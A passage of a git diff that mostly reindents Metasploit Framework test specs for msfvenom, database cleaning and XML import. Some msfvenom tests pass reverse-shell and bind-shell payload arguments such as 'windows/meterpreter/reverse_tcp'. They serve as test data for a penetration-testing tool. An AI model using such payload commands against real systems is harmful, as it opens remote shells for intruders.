datastore options" do - it "should print options" do - venom.parse_args %w! -o -p windows/meterpreter/reverse_tcp LPORT=1234! - expect { venom.generate_raw_payload }.to_not raise_error - output = stderr.string - output.should include("LHOST") - output.should match(/LPORT\s+1234/) - end + context "and a payload" do + let(:args) { %w! -o -p windows/meterpreter/reverse_tcp ! } + it "should print options" do + expect { venom.generate_raw_payload }.to_not raise_error + output = stderr.string + output.should include("LHOST") + output.should include("LPORT") + end + context "and some datastore options" do + it "should print options" do + venom.parse_args %w! -o -p windows/meterpreter/reverse_tcp LPORT=1234! + expect { venom.generate_raw_payload }.to_not raise_error + output = stderr.string + output.should include("LHOST") + output.should match(/LPORT\s+1234/) + end - it "should print options case-insensitively" do - venom.parse_args %w! -o -p windows/meterpreter/reverse_tcp lPoRt=1234! - expect { venom.generate_raw_payload }.to_not raise_error - output = stderr.string - output.should include("LHOST") - output.should match(/LPORT\s+1234/) - end - end - end + it "should print options case-insensitively" do + venom.parse_args %w! -o -p windows/meterpreter/reverse_tcp lPoRt=1234! + expect { venom.generate_raw_payload }.to_not raise_error + output = stderr.string + output.should include("LHOST") + output.should match(/LPORT\s+1234/) + end + end + end - context "and an invalid payload" do - let(:args) { %w! -o -p asdf! } - it "should raise" do - expect { venom.generate_raw_payload }.to raise_error(MsfVenom::UsageError) - end - end + context "and an invalid payload" do + let(:args) { %w! -o -p asdf! } + it "should raise" do + expect { venom.generate_raw_payload }.to raise_error(MsfVenom::UsageError) + end + end - end + end - [ - { :format => "elf", :arch => "x86" }, - { :format => "raw", :arch => "x86" }, - { :format => "elf", :arch => "armle" }, - { :format => "raw", :arch => "armle" }, - { :format => "elf", :arch => "ppc" }, - { :format => "raw", :arch => "ppc" }, - { :format => "elf", :arch => "mipsle" }, - { :format => "raw", :arch => "mipsle" }, - ].each do |format_hash| - format = format_hash[:format] - arch = format_hash[:arch] + [ + { :format => "elf", :arch => "x86" }, + { :format => "raw", :arch => "x86" }, + { :format => "elf", :arch => "armle" }, + { :format => "raw", :arch => "armle" }, + { :format => "elf", :arch => "ppc" }, + { :format => "raw", :arch => "ppc" }, + { :format => "elf", :arch => "mipsle" }, + { :format => "raw", :arch => "mipsle" }, + ].each do |format_hash| + format = format_hash[:format] + arch = format_hash[:arch] - context "building #{format} with linux/#{arch}/shell_bind_tcp" do - let(:args) { %W! -f #{format} -p linux/#{arch}/shell_bind_tcp ! } - # We're not encoding, so should be testable here - it "should contain /bin/sh" do - output = venom.generate_raw_payload - # Usually push'd in two instructions, so the whole string - # isn't all together. Check for the two pieces seperately - output.should include("/sh") - output.should include("/bin") - end - end + context "building #{format} with linux/#{arch}/shell_bind_tcp" do + let(:args) { %W! -f #{format} -p linux/#{arch}/shell_bind_tcp ! } + # We're not encoding, so should be testable here + it "should contain /bin/sh" do + output = venom.generate_raw_payload + # Usually push'd in two instructions, so the whole string + # isn't all together. Check for the two pieces seperately + output.should include("/sh") + output.should include("/bin") + end + end - end + end - end + end - describe "#generate" do - include_context 'Msf::Util::Exe' + describe "#generate" do + include_context 'Msf::Util::Exe' - before { venom.parse_args(args) } + before { venom.parse_args(args) } - context "with --list" do + context "with --list" do - context "with invalid module type" do - let(:args) { %w!--list asdf! } - it "should raise UsageError" do - expect { venom.generate }.to raise_error(MsfVenom::UsageError) - end - end + context "with invalid module type" do + let(:args) { %w!--list asdf! } + it "should raise UsageError" do + expect { venom.generate }.to raise_error(MsfVenom::UsageError) + end + end - [ "nop", "encoder", "payload" ].each do |type| - context "#{type}s" do - let(:args) { %W!--list #{type}s! } - it_behaves_like "#{type} dumper" do - let(:dump) do - venom.generate - stderr.string - end - end - end - end + [ "nop", "encoder", "payload" ].each do |type| + context "#{type}s" do + let(:args) { %W!--list #{type}s! } + it_behaves_like "#{type} dumper" do + let(:dump) do + venom.generate + stderr.string + end + end + end + end - end + end - context "with invalid datastore option" do - let(:args) { %w!-f exe -p windows/shell_reverse_tcp LPORT=asdf! } - it "should fail validation" do - expect { venom.generate }.to raise_error(Msf::OptionValidateError) - end - end + context "with invalid datastore option" do + let(:args) { %w!-f exe -p windows/shell_reverse_tcp LPORT=asdf! } + it "should fail validation" do + expect { venom.generate }.to raise_error(Msf::OptionValidateError) + end + end - context "without required datastore option" do - # Requires LHOST - let(:args) { %w!-f exe -p windows/shell_reverse_tcp! } - it "should fail validation" do - expect { venom.generate }.to raise_error(Msf::OptionValidateError) - end - end + context "without required datastore option" do + # Requires LHOST + let(:args) { %w!-f exe -p windows/shell_reverse_tcp! } + it "should fail validation" do + expect { venom.generate }.to raise_error(Msf::OptionValidateError) + end + end - @platform_format_map.each do |plat, formats| - formats.each do |format_hash| - format = format_hash[:format] - arch = format_hash[:arch] - # Need a new context for each so the let() will work correctly - context "with format=#{format} platform=#{plat} arch=#{arch}" do - # This will build executables with no payload. They won't work - # of course, but at least we can see that it is producing the - # correct file format for the given arch and platform. - let(:args) { %W! -p - -f #{format} -a #{arch} --platform #{plat} ! } - it "should print a #{format} to stdout" do - venom.generate - output = stdout.string - verify_bin_fingerprint(format_hash, output) - end - end - end - end + @platform_format_map.each do |plat, formats| + formats.each do |format_hash| + format = format_hash[:format] + arch = format_hash[:arch] + # Need a new context for each so the let() will work correctly + context "with format=#{format} platform=#{plat} arch=#{arch}" do + # This will build executables with no payload. They won't work + # of course, but at least we can see that it is producing the + # correct file format for the given arch and platform. + let(:args) { %W! -p - -f #{format} -a #{arch} --platform #{plat} ! } + it "should print a #{format} to stdout" do + venom.generate + output = stdout.string + verify_bin_fingerprint(format_hash, output) + end + end + end + end - end + end end diff --git a/spec/spec_helper.rb b/spec/spec_helper.rb index 910228f14b..459103aba2 100644 --- a/spec/spec_helper.rb +++ b/spec/spec_helper.rb @@ -33,17 +33,17 @@ RSpec.configure do |config| # factory_girl.set_factory_paths initializer and after_initialize for # FactoryGirl::Railtie config.before(:suite) do - # Need to load Mdm models first so factories can use them - MetasploitDataModels.require_models + # Need to load Mdm models first so factories can use them + MetasploitDataModels.require_models - FactoryGirl.definition_file_paths = [ - MetasploitDataModels.root.join('spec', 'factories'), - # Have metasploit-framework's definition file path last so it can - # modify gem factories. - Metasploit::Framework.root.join('spec', 'factories') - ] + FactoryGirl.definition_file_paths = [ + MetasploitDataModels.root.join('spec', 'factories'), + # Have metasploit-framework's definition file path last so it can + # modify gem factories. + Metasploit::Framework.root.join('spec', 'factories') + ] - FactoryGirl.find_definitions - end + FactoryGirl.find_definitions + end end diff --git a/spec/support/matchers/query_the_database.rb b/spec/support/matchers/query_the_database.rb index c7089c3ac9..81065f8181 100644 --- a/spec/support/matchers/query_the_database.rb +++ b/spec/support/matchers/query_the_database.rb @@ -1,108 +1,108 @@ module Shoulda # :nodoc: - module Matchers - module ActiveRecord # :nodoc: + module Matchers + module ActiveRecord # :nodoc: - # Ensures that the number of database queries is known. Rails 3.1 or greater is required. - # - # Options: - # * <tt>when_calling</tt> - Required, the name of the method to examine. - # * <tt>with</tt> - Used in conjunction with <tt>when_calling</tt> to pass parameters to the method to examine. - # * <tt>or_less</tt> - Pass if the database is queried no more than the number of times specified, as opposed to exactly that number of times. - # - # Examples: - # it { should query_the_database(4.times).when_calling(:complicated_counting_method) - # it { should query_the_database(4.times).or_less.when_calling(:generate_big_report) - # it { should_not query_the_database.when_calling(:cached_count) - # - def query_the_database(times = nil) - QueryTheDatabaseMatcher.new(times) - end + # Ensures that the number of database queries is known. Rails 3.1 or greater is required. + # + # Options: + # * <tt>when_calling</tt> - Required, the name of the method to examine. + # * <tt>with</tt> - Used in conjunction with <tt>when_calling</tt> to pass parameters to the method to examine. + # * <tt>or_less</tt> - Pass if the database is queried no more than the number of times specified, as opposed to exactly that number of times. + # + # Examples: + # it { should query_the_database(4.times).when_calling(:complicated_counting_method) + # it { should query_the_database(4.times).or_less.when_calling(:generate_big_report) + # it { should_not query_the_database.when_calling(:cached_count) + # + def query_the_database(times = nil) + QueryTheDatabaseMatcher.new(times) + end - class QueryTheDatabaseMatcher # :nodoc: - def initialize(times) - @queries = [] - @options = {} + class QueryTheDatabaseMatcher # :nodoc: + def initialize(times) + @queries = [] + @options = {} - if times.respond_to?(:count) - @options[:expected_query_count] = times.count - else - @options[:expected_query_count] = times - end - end + if times.respond_to?(:count) + @options[:expected_query_count] = times.count + else + @options[:expected_query_count] = times + end + end - def when_calling(method_name) - @options[:method_name] = method_name - self - end + def when_calling(method_name) + @options[:method_name] = method_name + self + end - def with(*method_arguments) - @options[:method_arguments] = method_arguments - self - end + def with(*method_arguments) + @options[:method_arguments] = method_arguments + self + end - def or_less - @options[:expected_count_is_maximum] = true - self - end + def or_less + @options[:expected_count_is_maximum] = true + self + end - def matches?(subject) - subscriber = ActiveSupport::Notifications.subscribe('sql.active_record') do |name, started, finished, id, payload| - @queries << payload unless filter_query(payload) - end + def matches?(subject) + subscriber = ActiveSupport::Notifications.subscribe('sql.active_record') do |name, started, finished, id, payload| + @queries << payload unless filter_query(payload) + end - if @options[:method_arguments] - subject.send(@options[:method_name], *@options[:method_arguments]) - else - subject.send(@options[:method_name]) - end + if @options[:method_arguments] + subject.send(@options[:method_name], *@options[:method_arguments]) + else + subject.send(@options[:method_name]) + end - ActiveSupport::Notifications.unsubscribe(subscriber) + ActiveSupport::Notifications.unsubscribe(subscriber) - if @options[:expected_count_is_maximum] - @queries.length <= @options[:expected_query_count] - elsif @options[:expected_query_count].present? - @queries.length == @options[:expected_query_count] - else - @queries.length > 0 - end - end + if @options[:expected_count_is_maximum] + @queries.length <= @options[:expected_query_count] + elsif @options[:expected_query_count].present? + @queries.length == @options[:expected_query_count] + else + @queries.length > 0 + end + end - def failure_message_for_should - if @options.key?(:expected_query_count) - "Expected ##{@options[:method_name]} to cause #{@options[:expected_query_count]} database queries but it actually caused #{@queries.length} queries:" + friendly_queries - else - "Expected ##{@options[:method_name]} to query the database but it actually caused #{@queries.length} queries:" + friendly_queries - end - end + def failure_message_for_should + if @options.key?(:expected_query_count) + "Expected ##{@options[:method_name]} to cause #{@options[:expected_query_count]} database queries but it actually caused #{@queries.length} queries:" + friendly_queries + else + "Expected ##{@options[:method_name]} to query the database but it actually caused #{@queries.length} queries:" + friendly_queries + end + end - def failure_message_for_should_not - if @options[:expected_query_count] - "Expected ##{@options[:method_name]} to not cause #{@options[:expected_query_count]} database queries but it actually caused #{@queries.length} queries:" + friendly_queries - else - "Expected ##{@options[:method_name]} to not query the database but it actually caused #{@queries.length} queries:" + friendly_queries - end - end + def failure_message_for_should_not + if @options[:expected_query_count] + "Expected ##{@options[:method_name]} to not cause #{@options[:expected_query_count]} database queries but it actually caused #{@queries.length} queries:" + friendly_queries + else + "Expected ##{@options[:method_name]} to not query the database but it actually caused #{@queries.length} queries:" + friendly_queries + end + end - private + private - def friendly_queries - @queries.map do |query| - "\n (#{query[:name]}) #{query[:sql]}" - end.join - end + def friendly_queries + @queries.map do |query| + "\n (#{query[:name]}) #{query[:sql]}" + end.join + end - def filter_query(query) - query[:name] == 'SCHEMA' || looks_like_schema?(query[:sql]) - end + def filter_query(query) + query[:name] == 'SCHEMA' || looks_like_schema?(query[:sql]) + end - def schema_terms - ['FROM sqlite_master', 'PRAGMA', 'SHOW TABLES', 'SHOW KEYS FROM', 'SHOW FIELDS FROM', 'begin transaction', 'commit transaction'] - end + def schema_terms + ['FROM sqlite_master', 'PRAGMA', 'SHOW TABLES', 'SHOW KEYS FROM', 'SHOW FIELDS FROM', 'begin transaction', 'commit transaction'] + end - def looks_like_schema?(sql) - schema_terms.any? { |term| sql.include?(term) } - end - end - end - end + def looks_like_schema?(sql) + schema_terms.any? { |term| sql.include?(term) } + end + end + end + end end diff --git a/spec/support/shared/contexts/database_cleaner.rb b/spec/support/shared/contexts/database_cleaner.rb index 2ffec31a47..5bbb900e15 100644 --- a/spec/support/shared/contexts/database_cleaner.rb +++ b/spec/support/shared/contexts/database_cleaner.rb @@ -2,36 +2,36 @@ require 'metasploit/framework/database' shared_context 'DatabaseCleaner' do - def with_established_connection - begin - ActiveRecord::Base.connection_pool.with_connection do - yield - end - rescue ActiveRecord::ConnectionNotEstablished - # if there isn't a connection established, then established one and try - # again - ActiveRecord::Base.configurations = Metasploit::Framework::Database.configurations - spec = ActiveRecord::Base.configurations[Metasploit::Framework.env] - ActiveRecord::Base.establish_connection(spec) + def with_established_connection + begin + ActiveRecord::Base.connection_pool.with_connection do + yield + end + rescue ActiveRecord::ConnectionNotEstablished + # if there isn't a connection established, then established one and try + # again + ActiveRecord::Base.configurations = Metasploit::Framework::Database.configurations + spec = ActiveRecord::Base.configurations[Metasploit::Framework.env] + ActiveRecord::Base.establish_connection(spec) - retry - end - end + retry + end + end - # clean before all in case last test run was interrupted before - # after(:each) could clean up - before(:all) do - with_established_connection do - DatabaseCleaner.clean_with(:truncation) - end - end + # clean before all in case last test run was interrupted before + # after(:each) could clean up + before(:all) do + with_established_connection do + DatabaseCleaner.clean_with(:truncation) + end + end - # Clean up after each test - after(:each) do - with_established_connection do - # Testing using both :truncation and :deletion; :truncation took long - # for testing. - DatabaseCleaner.clean_with(:deletion) - end - end + # Clean up after each test + after(:each) do + with_established_connection do + # Testing using both :truncation and :deletion; :truncation took long + # for testing. + DatabaseCleaner.clean_with(:deletion) + end + end end diff --git a/spec/support/shared/contexts/msf/db_manager.rb b/spec/support/shared/contexts/msf/db_manager.rb index a36d4c7d79..c060b5ceb3 100644 --- a/spec/support/shared/contexts/msf/db_manager.rb +++ b/spec/support/shared/contexts/msf/db_manager.rb @@ -1,23 +1,23 @@ shared_context 'Msf::DBManager' do - include_context 'DatabaseCleaner' - include_context 'Msf::Simple::Framework' + include_context 'DatabaseCleaner' + include_context 'Msf::Simple::Framework' - let(:active) do - true - end + let(:active) do + true + end - let(:db_manager) do - framework.db - end + let(:db_manager) do + framework.db + end - before(:each) do - configurations = Metasploit::Framework::Database.configurations - spec = configurations[Metasploit::Framework.env] + before(:each) do + configurations = Metasploit::Framework::Database.configurations + spec = configurations[Metasploit::Framework.env] - # Need to connect or ActiveRecord::Base.connection_pool will raise an - # error. - db_manager.connect(spec) + # Need to connect or ActiveRecord::Base.connection_pool will raise an + # error. + db_manager.connect(spec) - db_manager.stub(:active => active) - end + db_manager.stub(:active => active) + end end \ No newline at end of file diff --git a/spec/support/shared/contexts/msf/modules/error_attributes.rb b/spec/support/shared/contexts/msf/modules/error_attributes.rb index f948f57426..1d7c7474ea 100644 --- a/spec/support/shared/contexts/msf/modules/error_attributes.rb +++ b/spec/support/shared/contexts/msf/modules/error_attributes.rb @@ -1,14 +1,14 @@ # -*- coding:binary -*- shared_context 'Msf::Modules::Error attributes' do - let(:causal_message) do - 'rspec' - end + let(:causal_message) do + 'rspec' + end - let(:module_path) do - "parent/path/type/#{module_reference_name}.rb" - end + let(:module_path) do + "parent/path/type/#{module_reference_name}.rb" + end - let(:module_reference_name) do - 'module/reference/name' - end + let(:module_reference_name) do + 'module/reference/name' + end end diff --git a/spec/support/shared/contexts/msf/modules/loader_base.rb b/spec/support/shared/contexts/msf/modules/loader_base.rb index 9b6eac3423..49bea73bc9 100644 --- a/spec/support/shared/contexts/msf/modules/loader_base.rb +++ b/spec/support/shared/contexts/msf/modules/loader_base.rb @@ -1,14 +1,14 @@ # -*- coding:binary -*- shared_context "Msf::Modules::Loader::Base" do - let(:parent_path) do - parent_pathname.to_s - end + let(:parent_path) do + parent_pathname.to_s + end - let(:parent_pathname) do - root_pathname.join('modules') - end + let(:parent_pathname) do + root_pathname.join('modules') + end - let(:root_pathname) do - Pathname.new(Msf::Config.install_root) - end + let(:root_pathname) do + Pathname.new(Msf::Config.install_root) + end end diff --git a/spec/support/shared/contexts/msf/simple/framework.rb b/spec/support/shared/contexts/msf/simple/framework.rb index d5f7235b73..e55df08207 100644 --- a/spec/support/shared/contexts/msf/simple/framework.rb +++ b/spec/support/shared/contexts/msf/simple/framework.rb @@ -3,38 +3,38 @@ require 'msf/base/simple/framework' require 'metasploit/framework' shared_context 'Msf::Simple::Framework' do - let(:dummy_pathname) do - Metasploit::Framework.root.join('spec', 'dummy') - end + let(:dummy_pathname) do + Metasploit::Framework.root.join('spec', 'dummy') + end - let(:framework) do - Msf::Simple::Framework.create( - 'ConfigDirectory' => framework_config_pathname.to_s, - # don't load any module paths so we can just load the module under test and save time - 'DeferModuleLoads' => true - ) - end + let(:framework) do + Msf::Simple::Framework.create( + 'ConfigDirectory' => framework_config_pathname.to_s, + # don't load any module paths so we can just load the module under test and save time + 'DeferModuleLoads' => true + ) + end - let(:framework_config_pathname) do - dummy_pathname.join('framework', 'config') - end + let(:framework_config_pathname) do + dummy_pathname.join('framework', 'config') + end - before(:each) do - framework_config_pathname.mkpath - end + before(:each) do + framework_config_pathname.mkpath + end - after(:each) do - dummy_pathname.rmtree - end + after(:each) do + dummy_pathname.rmtree + end - after(:each) do - # explicitly kill threads so that they don't exhaust connection pool - thread_manager = framework.threads + after(:each) do + # explicitly kill threads so that they don't exhaust connection pool + thread_manager = framework.threads - thread_manager.each do |thread| - thread.kill - end + thread_manager.each do |thread| + thread.kill + end - thread_manager.monitor.kill - end + thread_manager.monitor.kill + end end diff --git a/spec/support/shared/contexts/msf/ui_driver.rb b/spec/support/shared/contexts/msf/ui_driver.rb index 385abe986d..985914246a 100644 --- a/spec/support/shared/contexts/msf/ui_driver.rb +++ b/spec/support/shared/contexts/msf/ui_driver.rb @@ -1,18 +1,18 @@ shared_context 'Msf::UIDriver' do - let(:driver) do - double( - 'Driver', - :framework => framework - ).tap { |driver| - driver.stub(:on_command_proc=).with(kind_of(Proc)) - driver.stub(:print_line).with(kind_of(String)) do |string| - @output ||= [] - @output.concat string.split("\n") - end - driver.stub(:print_error).with(kind_of(String)) do |string| - @error ||= [] - @error.concat string.split("\n") - end - } - end + let(:driver) do + double( + 'Driver', + :framework => framework + ).tap { |driver| + driver.stub(:on_command_proc=).with(kind_of(Proc)) + driver.stub(:print_line).with(kind_of(String)) do |string| + @output ||= [] + @output.concat string.split("\n") + end + driver.stub(:print_error).with(kind_of(String)) do |string| + @error ||= [] + @error.concat string.split("\n") + end + } + end end diff --git a/spec/support/shared/examples/msf/db_manager/export/extract_module_detail_info_module_detail_child.rb b/spec/support/shared/examples/msf/db_manager/export/extract_module_detail_info_module_detail_child.rb index 36a319683a..05e3f09697 100644 --- a/spec/support/shared/examples/msf/db_manager/export/extract_module_detail_info_module_detail_child.rb +++ b/spec/support/shared/examples/msf/db_manager/export/extract_module_detail_info_module_detail_child.rb @@ -1,23 +1,23 @@ shared_examples_for 'Msf::DBManager::Export#extract_module_detail_info module_detail child' do |child_node_name| - attribute_name = child_node_name.underscore + attribute_name = child_node_name.underscore - subject(:child_node) do - module_detail_node.at_xpath(child_node_name) - end + subject(:child_node) do + module_detail_node.at_xpath(child_node_name) + end - let(:attribute) do - module_detail.send(attribute_name) - end + let(:attribute) do + module_detail.send(attribute_name) + end - it "should not have Mdm::Module::Detail##{attribute_name} nil" do - attribute.should_not be_nil - end + it "should not have Mdm::Module::Detail##{attribute_name} nil" do + attribute.should_not be_nil + end - it "should have Mdm::Module::Detail##{attribute_name} for #{child_node_name} content" do - if attribute == false - child_node.content.should be_blank - else - child_node.content.should == attribute.to_s - end - end + it "should have Mdm::Module::Detail##{attribute_name} for #{child_node_name} content" do + if attribute == false + child_node.content.should be_blank + else + child_node.content.should == attribute.to_s + end + end end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/db_manager/import_msf_xml.rb b/spec/support/shared/examples/msf/db_manager/import_msf_xml.rb index 964925675a..5e28d2f5e6 100644 --- a/spec/support/shared/examples/msf/db_manager/import_msf_xml.rb +++ b/spec/support/shared/examples/msf/db_manager/import_msf_xml.rb @@ -2,1173 +2,1173 @@ require 'builder' shared_examples_for 'Msf::DBManager::ImportMsfXml' do - # Serialized format from pro/modules/auxiliary/pro/report.rb - def serialize(object) - # FIXME https://www.pivotaltracker.com/story/show/46578647 - marshalled = Marshal.dump(object) - base64_encoded = [marshalled].pack('m') - compact = base64_encoded.gsub(/\s+/, '') - - compact - end - - def with_info - db_manager.should_receive(:import_msf_web_element) do |*args, &specialization| - info = specialization.call(element, options) - - yield info - end - - subject - end - - let(:allow_yaml) do - false - end - - let(:document) do - REXML::Document.new(source) - end - - let(:element) do - nil - end - - let(:host_attributes) do - FactoryGirl.attributes_for(:mdm_host) - end - - let(:msf_web_text_element_names) do - [ - 'created-at', - 'host', - 'path', - 'port', - 'query', - 'ssl', - 'updated-at', - 'vhost' - ] - end - - let(:notifier) do - lambda do |event, data| - - end - end - - let(:options) do - { - :allow_yaml => allow_yaml, - :workspace => workspace - } - end - - let(:service_attributes) do - FactoryGirl.attributes_for(:web_service) - end - - let(:web_form_attributes) do - FactoryGirl.attributes_for(:mdm_web_form, :exported) - end - - let(:web_page_attributes) do - FactoryGirl.attributes_for(:mdm_web_page) - end - - let(:workspace) do - nil - end - - let(:xml) do - Builder::XmlMarkup.new(:indent => 2) - end - - it 'should include methods from module so method can be overridden easier in pro' do - db_manager.should be_a Msf::DBManager::ImportMsfXml - end - - context 'CONSTANTS' do - it 'should define MSF_WEB_PAGE_TEXT_ELEMENT_NAMES in any order' do - described_class::MSF_WEB_PAGE_TEXT_ELEMENT_NAMES =~ [ - 'auth', - 'body', - 'code', - 'cookie', - 'ctype', - 'location', - 'mtime' - ] - end - - it 'should define MSF_WEB_TEXT_ELEMENT_NAMES in any order' do - described_class::MSF_WEB_TEXT_ELEMENT_NAMES =~ msf_web_text_element_names - end - - it 'should define MSF_WEB_VULN_TEXT_ELEMENT_NAMES in any order' do - described_class::MSF_WEB_VULN_TEXT_ELEMENT_NAMES =~ [ - 'blame', - 'category', - 'confidence', - 'description', - 'method', - 'name', - 'pname', - 'proof', - 'risk' - ] - end - end - - context '#check_msf_xml_version!' do - let(:root_tag) do - 'root' - end - - let(:source) do - xml.tag!(root_tag) - - xml.target! - end - - subject(:metadata) do - db_manager.send(:check_msf_xml_version!, document) - end - - it_should_behave_like( - 'Msf::DBManager::ImportMsfXml#check_msf_xml_version! with root tag', - 'MetasploitExpressV1', - :allow_yaml => true - ) - - it_should_behave_like( - 'Msf::DBManager::ImportMsfXml#check_msf_xml_version! with root tag', - 'MetasploitExpressV2', - :allow_yaml => true - ) - - it_should_behave_like( - 'Msf::DBManager::ImportMsfXml#check_msf_xml_version! with root tag', - 'MetasploitExpressV3', - :allow_yaml => false - ) - - it_should_behave_like( - 'Msf::DBManager::ImportMsfXml#check_msf_xml_version! with root tag', - 'MetasploitExpressV4', - :allow_yaml => false - ) - - context 'with other' do - it 'should raise DBImportError' do - expect { - metadata - }.to raise_error( - Msf::DBImportError, - 'Unsupported Metasploit XML document format' - ) - end - end - end - - context '#import_msf_text_element' do - let(:parent_element) do - document.root - end - - let(:child_name) do - 'child' - end - - let(:child_sym) do - child_name.to_sym - end - - subject(:info) do - db_manager.send(:import_msf_text_element, parent_element, child_name) - end - - context 'with child element' do - let(:source) do - xml.parent do - xml.tag!(child_name, text) - end - - xml.target! - end - - context 'with padded text' do - let(:stripped) do - 'stripped' - end - - let(:text) do - " #{stripped} " - end - - it 'should strip text' do - info[:child].should == stripped - end - end - - context 'with NULL text' do - let(:text) do - 'NULL' - end - - it 'should have nil for child name in info' do - # use have_key to verify info isn't just returning hash default of - # `nil`. - info.should have_key(child_sym) - info[child_sym].should be_nil - end - end - - context 'without NULL text' do - let(:text) do - 'some text' - end - - it 'should have text for child name in info' do - info[child_sym].should == text - end - end - end - - context 'without child element' do - let(:source) do - xml.parent - - xml.target! - end - - it 'should return an empty Hash' do - info.should == {} - end - end - end - - context 'import_msf_web_element' do - let(:element) do - document.root - end - - let(:options) do - {} - end - - let(:specialization) do - lambda { |element, options| - {} - } - end - - subject(:import_msf_web_element) do - db_manager.send( - :import_msf_web_element, - element, - options, - &specialization - ) - end - - context 'with :type' do - include_context 'DatabaseCleaner' - - let(:source) do - xml.tag!("web_#{type}") do - web_site = web_vuln.web_site - service = web_site.service - - xml.host(service.host.address) - xml.path(web_vuln.path) - xml.port(service.port) - xml.query(web_vuln.query) - - ssl = false - - if service.name == 'https' - ssl = true - end - - xml.ssl(ssl) - - xml.vhost(web_site.vhost) - end - - xml.target! - end - - let(:type) do - :vuln - end - - let(:web_vuln) do - FactoryGirl.create(:mdm_web_vuln) - end - - before(:each) do - db_manager.stub( - :report_web_vuln - ).with( - an_instance_of(Hash) - ) - - options[:type] = type - end - - context 'with :workspace' do - let(:workspace) do - double(':workspace') - end - - before(:each) do - options[:workspace] = workspace - end - - it 'should not call Msf::DBManager#workspace' do - db_manager.should_not_receive(:workspace) - - import_msf_web_element - end - - it 'should pass :workspace to report_web_<:type>' do - db_manager.should_receive( - "report_web_#{type}" - ).with( - hash_including(:workspace => workspace) - ) - - import_msf_web_element - end - end - - context 'without :workspace' do - let(:workspace) do - FactoryGirl.create(:mdm_workspace) - end - - before(:each) do - db_manager.workspace = workspace - end - - it 'should call Msf::DBManager#workspace' do - db_manager.should_receive(:workspace).and_call_original - - import_msf_web_element - end - - it 'should pass Msf::DBManager#workspace to report_web_<:type>' do - db_manager.should_receive( - "report_web_#{type}" - ).with( - hash_including(:workspace => workspace) - ) - - import_msf_web_element - end - end - - it 'should import all elements in MSF_WEB_TEXT_ELEMENT_NAMES with #import_msf_text_element' do - msf_web_text_element_names.each do |name| - db_manager.should_receive( - :import_msf_text_element - ).with( - element, - name - ).and_call_original - end - - import_msf_web_element - end - - context 'with non-empty Hash from #import_msf_text_element' do - let(:returned_hash) do - { - :host => '192.168.0.1' - } - end - - before(:each) do - db_manager.stub(:import_msf_text_element).and_return(returned_hash) - end - - it 'should pass returned Hash as part of Hash passed to report_web_<:type' do - db_manager.should_receive( - "report_web_#{type}" - ).with( - hash_including(returned_hash) - ) - - import_msf_web_element - end - end - - context 'ssl element' do - context 'without element' do - let(:source) do - xml.tag!("web_#{type}") - - xml.target! - end - - it 'should pass false for :ssl to report_web_<:type>' do - db_manager.should_receive( - "report_web_#{type}" - ).with( - hash_including(:ssl => false) - ) - - import_msf_web_element - end - end - - context 'with element' do - let(:source) do - xml.tag!("web_#{type}") do - xml.ssl(ssl) - end - - xml.target! - end - - context "with 'true' text" do - let(:ssl) do - true - end - - it 'should pass true for :ssl to report_web_<:type>' do - db_manager.should_receive( - "report_web_#{type}" - ).with( - hash_including(:ssl => true) - ) - - import_msf_web_element - end - end - - context "without 'true' text" do - let(:ssl) do - false - end - - it 'should pass false for :ssl to report_web_<:type>' do - db_manager.should_receive( - "report_web_#{type}" - ).with( - hash_including(:ssl => false) - ) - - import_msf_web_element - end - end - end - end - - context 'specialization block' do - let(:returned_hash) do - { - :specialized => double('Value') - } - end - - let(:specialization) do - lambda { |element, option| - returned_hash - } - end - - it 'should be called with element and options' do - actual_args = [] - - db_manager.send( - :import_msf_web_element, - element, - options) do |*args| - actual_args = args - - returned_hash - end - - actual_args.should == [element, options] - end - - it 'should pass return Hash to report_web_<:type>' do - db_manager.should_receive( - "report_web_#{type}" - ).with( - hash_including(returned_hash) - ) - - import_msf_web_element - end - end - - context 'notifier' do - context 'with :notifier' do - let(:event) do - "web_#{type}".to_sym - end - - let(:notifier) do - lambda do |*args| - successive_args << args - end - end - - let(:successive_args) do - [] - end - - before(:each) do - options[:notifier] = notifier - end - - it 'should call :notifier with event and path' do - import_msf_web_element - - successive_args.length.should == 1 - - args = successive_args[0] - - args.length.should == 2 - args[0].should == event - args[1].should == web_vuln.path - end - end - - context 'without :notifier' do - it 'should not raise an error' do - expect { - import_msf_web_element - }.to_not raise_error - end - end - end - end - - context 'without :type' do - let(:element) do - nil - end - - it 'should raise KeyError' do - expect { - import_msf_web_element - }.to raise_error(KeyError, 'key not found: :type') - end - end - end - - context '#import_msf_web_form_element' do - let(:type) do - :form - end - - subject(:import_msf_web_form_element) do - db_manager.import_msf_web_form_element( - element, - options, - &notifier - ) - end - - context 'call to #import_msf_web_element' do - it_should_behave_like 'Msf::DBManager::ImportMsfXml#import_msf_web_element specialization' - - context 'specialization return' do - let(:element) do - document.root - end - - let(:source) do - xml.web_form do - xml.method( - web_form_attributes.fetch(:method) - ) - - serialized_params = serialize( - web_form_attributes.fetch(:params) - ) - xml.params(serialized_params) - end - - xml.target! - end - - it 'should be a Hash' do - with_info do |info| - info.should be_a Hash - end - end - - it 'should include :method' do - with_info do |info| - info[:method].should == web_form_attributes[:method] - end - end - - it 'should include :params' do - with_info do |info| - info[:params].should == web_form_attributes[:params] - end - end - end - end - - context 'with required attributes' do - include_context 'DatabaseCleaner' - - let(:element) do - document.root - end - - let(:source) do - xml.web_form do - xml.host( - host_attributes.fetch(:address) - ) - xml.method( - web_form_attributes.fetch(:method) - ) - xml.path( - web_form_attributes.fetch(:path) - ) - xml.port( - service_attributes.fetch(:port) - ) - - ssl = false - - if service_attributes[:name] == 'https' - ssl = true - end - - xml.ssl(ssl) - end - - xml.target! - end - - it 'should create an Mdm::WebForm' do - expect { - import_msf_web_form_element - }.to change(Mdm::WebForm, :count).by(1) - end - end - end - - context '#import_msf_web_page_element' do - let(:type) do - :page - end - - subject(:import_msf_web_page_element) do - db_manager.import_msf_web_page_element( - element, - options, - &notifier - ) - end - - context 'call to #import_msf_web_element' do - it_should_behave_like 'Msf::DBManager::ImportMsfXml#import_msf_web_element specialization' - - context 'specialization return' do - let(:element) do - document.root - end - - let(:source) do - xml.web_page do - xml.auth( - web_page_attributes.fetch(:auth) - ) - xml.body( - web_page_attributes.fetch(:body) - ) - xml.code( - web_page_attributes.fetch(:code) - ) - xml.cookie( - web_page_attributes.fetch(:cookie) - ) - xml.ctype( - web_page_attributes.fetch(:ctype) - ) - - serialized_headers = serialize( - web_page_attributes.fetch(:headers) - ) - xml.headers(serialized_headers) - - xml.location( - 